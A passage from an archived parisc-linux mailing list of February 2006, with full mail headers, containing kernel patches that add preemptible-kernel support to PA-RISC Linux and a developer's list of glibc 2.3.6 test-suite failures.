	by free.linux.hp.com (Postfix) with ESMTP id A90CA7D62B;
	Sun, 26 Feb 2006 10:56:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10272-06; Sun, 26 Feb 2006 10:56:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B4DF7D62E;
	Sun, 26 Feb 2006 10:56:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D97D57D611
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 10:56:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10199-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 10:56:22 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 162047D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 10:56:22 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3F35D23E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 12:55:48 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00639-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 12:55:48 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id CCC5D23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 12:55:47 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 2B4F33B00C; Sun, 26 Feb 2006 12:55:14 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060226073118.GA12426@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hI5zZB91eSEkT76WZHQhaXN1IGRvb0B1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23430

Adding the test of pt_regs.psw.i results in preempt_schedule_irq never
being called... I can't figure out why, if we're returning to the kernel,
we shouldn't have interrupted a place with I-bit off...

If you want to test /real/ preempt, comment out that branch on bit
testing PSW_SM_I and rebuild. Frequently, there will be a Protection ID
trap in either copy_siginfo_to_user or do_work, always the same insn in
both.

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index eca33cf..cf79639 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -169,14 +169,10 @@ config ARCH_DISCONTIGMEM_DEFAULT
 	def_bool y
 	depends on ARCH_DISCONTIGMEM_ENABLE
 
+source "kernel/Kconfig.preempt"
 source "kernel/Kconfig.hz"
 source "mm/Kconfig"
 
-config PREEMPT
-	bool
-#	bool "Preemptible Kernel"
-	default n
-
 config COMPAT
 	def_bool y
 	depends on 64BIT
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 9af4b22..bf6c605 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1014,14 +1014,21 @@ intr_restore:
 	nop
 	nop
 
+#ifndef CONFIG_PREEMPT
+# define intr_do_preempt	intr_restore
+#endif /* !CONFIG_PREEMPT */
+
 	.import schedule,code
 intr_do_resched:
-	/* Only do reschedule if we are returning to user space */
+	/* Only call schedule on return to userspace. If we're returning
+	 * to kernel space, we may schedule if CONFIG_PREEMPT, otherwise
+	 * we jump back to intr_restore.
+	 */
 	LDREG	PT_IASQ0(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
+	CMPIB=	0, %r20, intr_do_preempt
 	nop
 	LDREG	PT_IASQ1(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
+	CMPIB=	0, %r20, intr_do_preempt
 	nop
 
 #ifdef CONFIG_64BIT
@@ -1037,7 +1044,34 @@ intr_do_resched:
 #endif
 	ldo	R%intr_check_sig(%r2), %r2
 
+	/* preempt the current task on returning to kernel
+	 * mode from an interrupt, iff need_resched is set,
+	 * and preempt_count is 0. otherwise, we continue on
+	 * our merry way back to the current running task.
+	 */
+#ifdef CONFIG_PREEMPT
+	.import preempt_schedule_irq,code
+intr_do_preempt:
+	rsm	PSW_SM_I, %r0		/* disable interrupts */
+
+	/* current_thread_info()->preempt_count */
+	mfctl	%cr30, %r1
+	LDREG	TI_PRE_COUNT(%r1), %r19
+	CMPIB<>	0, %r19, intr_restore	/* if preempt_count > 0 */
+	nop				/* prev insn branched backwards */
 
+	/* abort if we're returning with interrupts off */
+	LDREG	PT_PSW(%r16), %r20
+	bb,>=,n	%r20, 31 - PSW_SM_I, intr_restore
+	nop
+
+	/* preempt_schedule_irq expects to be called with interrupts off */
+	BL	preempt_schedule_irq, %r2
+	nop
+
+	b	intr_restore		/* ssm PSW_SM_I done by intr_restore */
+#endif /* CONFIG_PREEMPT */
+	
 	.import do_signal,code
 intr_do_signal:
 	/* 
diff --git a/include/asm-parisc/spinlock.h b/include/asm-parisc/spinlock.h
index 16c2ac0..bfa8125 100644
--- a/include/asm-parisc/spinlock.h
+++ b/include/asm-parisc/spinlock.h
@@ -134,14 +134,22 @@ static  __inline__ int __raw_write_trylo
 	return 1;
 }
 
-static __inline__ int __raw_is_read_locked(raw_rwlock_t *rw)
+/*
+ * read_can_lock - would read_trylock() succeed?
+ * @lock: the rwlock in question.
+ */
+static __inline__ int __raw_read_can_lock(raw_rwlock_t *rw)
 {
-	return rw->counter > 0;
+	return rw->counter >= 0;
 }
 
-static __inline__ int __raw_is_write_locked(raw_rwlock_t *rw)
+/*
+ * write_can_lock - would write_trylock() succeed?
+ * @lock: the rwlock in question.
+ */
+static __inline int __raw_write_can_lock(raw_rwlock_t *rw)
 {
-	return rw->counter < 0;
+	return !rw->counter;
 }
 
 #endif /* __ASM_SPINLOCK_H */
diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index ac32f14..f2f83b0 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -49,7 +49,8 @@ struct thread_info {
 
 #endif /* !__ASSEMBLY */
 
-#define PREEMPT_ACTIVE          0x10000000
+#define PREEMPT_ACTIVE_BIT	28
+#define PREEMPT_ACTIVE		(1 << PREEMPT_ACTIVE_BIT)
 
 /*
  * thread information flags
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian glibc 2.3.6-2.0 test
Date: Sun, 26 Feb 2006 00:10:06 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <4400F1DE.1040604@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624009 18184 80.91.229.3 (22 Nov 2014 02:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:09 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2006 00:10:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 26 Feb 2006 01:10:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBBBF7D642;
	Sat, 25 Feb 2006 17:10:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03111-06; Sat, 25 Feb 2006 17:10:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB7D47D643;
	Sat, 25 Feb 2006 17:10:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 327D17D641
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Feb 2006 17:10:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03111-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Feb 2006 17:10:15 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 31B0C7D640
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Feb 2006 17:10:15 -0700 (MST)
Original-Received: from (ip-62-235-235-179.dial.scarlet.be [62.235.235.179]) 
	by guri.is.scarlet.be  with ESMTP id k1Q0ABZ11096; 
	Sun, 26 Feb 2006 01:10:11 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: opRyZOxxeSEkI76WZHQhaXN1IGRvb4DY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23431

Hello pa*,

With those debian src + Carlos's patch: <http://cvs.parisc-linux.org/glibc/posix/regcomp.c?rev=1.3&view=log>, here are the latest 
Error of make -k check:
# grep Err ../../../../Logs/glibc-2.3.6-2.0.Check make[2]: *** 
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/localedata/sort-test.out] Error 1
make[1]: *** [localedata/tests] Error 2
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out] Error 1
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out] Error 1
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-rxspencer.out] Error 139
make[2]: [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/annexc.out] Error 1 (ignored)
make[1]: *** [posix/tests] Error 2
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxthreads/tst-attr1.out] Error 1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer.out] Error 137
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio4.out] Error 1
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer4.out] Error 1
make[1]: *** [rt/tests] Error 2
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-tls13.out] Error 1
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-execstack.out] Error 1
make[2]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-execstack-prog.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

Sorry I didn't fond back the list of known Errors, could you point me out regressions?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bits of PREEMPT support
Date: Sun, 26 Feb 2006 02:31:18 -0500
Lines: 148
Approved: news@gmane.org
Message-ID: <20060226073118.GA12426@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624010 18441 80.91.229.3 (22 Nov 2014 02:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2006 07:32:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 26 Feb 2006 08:32:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE25C7D63F;
	Sun, 26 Feb 2006 00:32:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04670-10; Sun, 26 Feb 2006 00:32:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A802A7D641;
	Sun, 26 Feb 2006 00:32:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52F327D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 00:32:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04670-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 00:32:27 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 835397D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 00:32:27 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 28BE923E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 02:31:53 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28549-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 02:31:52 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 82FDA23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Feb 2006 02:31:52 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id E55B03B00C; Sun, 26 Feb 2006 02:31:18 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zTxzZGc1eSEkPL6WZHQhaXN1IGRvb0C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23432

Linux duet 2.6.16-rc4-ga0124d78-dirty #32 SMP PREEMPT Sun Feb 26 01:42:36 EST 2006 parisc64 GNU/Linux

My hope is that PREEMPT will expose some bugs for us...
Seems to be self-hosting, at least, a make -j8 on the kernel succeeded.

For this to be unbuggy, someone probably needs to do the legwork to
forward port the previous work in ftp.p-l.org/patches.

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index eca33cf..cf79639 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -169,14 +169,10 @@ config ARCH_DISCONTIGMEM_DEFAULT
 	def_bool y
 	depends on ARCH_DISCONTIGMEM_ENABLE
 
+source "kernel/Kconfig.preempt"
 source "kernel/Kconfig.hz"
 source "mm/Kconfig"
 
-config PREEMPT
-	bool
-#	bool "Preemptible Kernel"
-	default n
-
 config COMPAT
 	def_bool y
 	depends on 64BIT
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 9af4b22..920fb9c 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1014,14 +1014,23 @@ intr_restore:
 	nop
 	nop
 
+#ifndef CONFIG_PREEMPT
+# define intr_do_preempt	intr_restore
+#endif /* !CONFIG_PREEMPT */
+
 	.import schedule,code
 intr_do_resched:
-	/* Only do reschedule if we are returning to user space */
+	/* Only call schedule on return to userspace, if we're returning
+	 * to kernel space, we may schedule if CONFIG_PREEMPT...
+	 *
+	 * NOTE: Conditional nullification because of branch direction
+	 * doesn't matter, since both are NULL.
+	 */
 	LDREG	PT_IASQ0(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
+	CMPIB= 0,%r20,intr_do_preempt
 	nop
 	LDREG	PT_IASQ1(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
+	CMPIB= 0,%r20,intr_do_preempt
 	nop
 
 #ifdef CONFIG_64BIT
@@ -1037,7 +1046,37 @@ intr_do_resched:
 #endif
 	ldo	R%intr_check_sig(%r2), %r2
 
+	/* preempt the current task on returning to kernel
+	 * mode from an interrupt, iff need_resched is set,
+	 * and preempt_count is 0. otherwise, we continue on
+	 * our merry way back to the current running task.
+	 */
+#ifdef CONFIG_PREEMPT
+	.import preempt_schedule_irq,code
+intr_do_preempt:
+	/* current_thread_info()->preempt_count */
+	mfctl	%cr30, %r1
+	LDREG	TI_PRE_COUNT(%r1), %r19
+	CMPIB<>	0, %r19, intr_check_sig	/* if preempt_count > 0 */
+	nop				/* prev insn branched backwards */
+
+	/* this block looks redundant... we wouldn't be here if
+	 * TIF_NEED_RESCHED wasn't set */
+	LDREG	TI_FLAGS(%r1), %r20
+	bb,>=,n	%r20, 31 - TIF_NEED_RESCHED, intr_check_sig
+	nop				/* backward */
+	
+	ssm	0, %r20			/* are interrupts disabled? */
+	bb,<,n	%r20, 31 - PSW_I, intr_check_sig
+	nop				/* backward */
+
+1:	BL	preempt_schedule_irq, %r2
+	nop
 
+	mfctl	%cr30, %r1
+	LDREG	TI_FLAGS(%r1), %r20
+	bb,<,n	%r20, 31 - TIF_NEED_RESCHED, 1b
+#endif /* CONFIG_PREEMPT */
 	.import do_signal,code
 intr_do_signal:
 	/* 
diff --git a/include/asm-parisc/spinlock.h b/include/asm-parisc/spinlock.h
index 16c2ac0..bfa8125 100644
--- a/include/asm-parisc/spinlock.h
+++ b/include/asm-parisc/spinlock.h
@@ -134,14 +134,22 @@ static  __inline__ int __raw_write_trylo
 	return 1;
 }
 
-static __inline__ int __raw_is_read_locked(raw_rwlock_t *rw)
+/*
+ * read_can_lock - would read_trylock() succeed?
+ * @lock: the rwlock in question.
+ */
+static __inline__ int __raw_read_can_lock(raw_rwlock_t *rw)
 {
-	return rw->counter > 0;
+	return rw->counter >= 0;
 }
 
-static __inline__ int __raw_is_write_locked(raw_rwlock_t *rw)
+/*
+ * write_can_lock - would write_trylock() succeed?
+ * @lock: the rwlock in question.
+ */
+static __inline int __raw_write_can_lock(raw_rwlock_t *rw)
 {
-	return rw->counter < 0;
+	return !rw->counter;
 }
 
 #endif /* __ASM_SPINLOCK_H */
diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index ac32f14..f2f83b0 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -49,7 +49,8 @@ struct thread_info {
 
 #endif /* !__ASSEMBLY */
 
-#define PREEMPT_ACTIVE          0x10000000
+#define PREEMPT_ACTIVE_BIT	28
+#define PREEMPT_ACTIVE		(1 << PREEMPT_ACTIVE_BIT)
 
 /*
  * thread information flags
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] debian glibc 2.3.6-2.0 test
Date: Tue, 28 Feb 2006 18:39:44 +0100
Lines: 164
Approved: news@gmane.org
Message-ID: <IVERQ8$55135086D27FA4C64BE96516AA1C04AF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624010 18443 80.91.229.3 (22 Nov 2014 02:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Feb 2006 17:39:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 28 Feb 2006 18:39:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 181F07D63E;
	Tue, 28 Feb 2006 10:39:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26838-02; Tue, 28 Feb 2006 10:39:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 859927D643;
	Tue, 28 Feb 2006 10:39:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3617D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Feb 2006 10:39:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26610-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Feb 2006 10:39:49 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 113617D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Feb 2006 10:39:48 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k1SHdix11598; 
	Tue, 28 Feb 2006 18:39:44 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
